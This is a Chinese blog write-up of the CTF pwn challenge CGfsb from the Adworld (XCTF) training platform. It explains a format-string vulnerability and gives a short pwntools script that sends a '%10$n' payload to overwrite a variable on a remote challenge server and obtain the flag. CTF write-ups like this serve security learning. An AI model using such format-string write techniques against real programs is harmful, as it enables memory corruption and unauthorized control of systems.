攻防世界pwn—CGFsb
2019-07-27 17:42
447 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/nzw1134864657/article/details/97517065
先看一下文件是32位的,再查看一下程序的保护机制
发现栈的保护开启,程序会在栈里放入一个canary,返回时检测canary是否发生变化
我们先运行一下程序看一下逻辑
在IDA中打开查看伪代码,发现如果pwnme=8,就可以到得到flag
此处要利用格式化字符串漏洞,使用%n格式修改任意地址内容,把前面已经打印的长度写入某个内存地址中去。
在这里设置断点
查看一下pwnme的地址
在write up里看到的几个格式化字符串漏洞的知识点
%n 将当前已打印字符的个数(4个字节)
%<正整数n><fmt>指定占位符对应第n个参数,例如:< fmt>指定占位符对应第n个参数,例如:%12<fmt>指定占位符对应第n个参数,例如:x,此处%x对应第12个参数。
通过 ida 查看汇编代码 找到call printf的地址(调用printf(&s))。之后我们用gdb进行调试,在调用printf(&s)之前下一个断点,查看接收 message 的变量 s 是格式化字符串的第几个参数。输入 message 的时候输入 ‘aaaa’。
在网上找的脚本
from pwn import * sh = remote('111.198.29.45',48794) sh.recv() sh.sendline('hacker') sh.recv() payload = p32(0x804a068) +'aaaa' +'%10$n' sh.sendline(payload) sh.interactive()
//remote函数是连接到远程服务器进行漏洞利用,recvuntil函数顾名思义就是等待服务器返回参数中的字符串后再执行后续操作,sendline就是向服务器发送一行数据,也就是我们的payload,最后打印出返回来的结果。
相关文章推荐
- 攻防世界-pwn CGfsb (格式化字符串)
- 攻防世界——pwn_forgot
- 攻防世界-pwn when_did_you_born(栈覆盖)
- XCTF攻防世界web新手练习_ 5_simple_js
- 攻防世界逆向wp
- 攻防世界web之Lottery
- xctf攻防世界_echo——爬坑之路(ret2dlresolve)
- 攻防世界 三 (进阶篇)
- 攻防世界 四(进阶篇)catch-me
- XCTF攻防世界web新手练习_ 7_weak_auth
- 攻防世界web新手之disabled_button
- 攻防世界Web command execution
- 攻防世界杂项新手题
- 攻防世界web新手之buckup
- 【CTF】攻防世界——mfw(web)
- 攻防世界 web 不能按的按钮 disabled_button
- 攻防世界writeup
- 攻防世界的web(一)
- XCTF-攻防世界-新手训练-12-maze
- XCTF攻防世界web新手练习_ 10_simple_php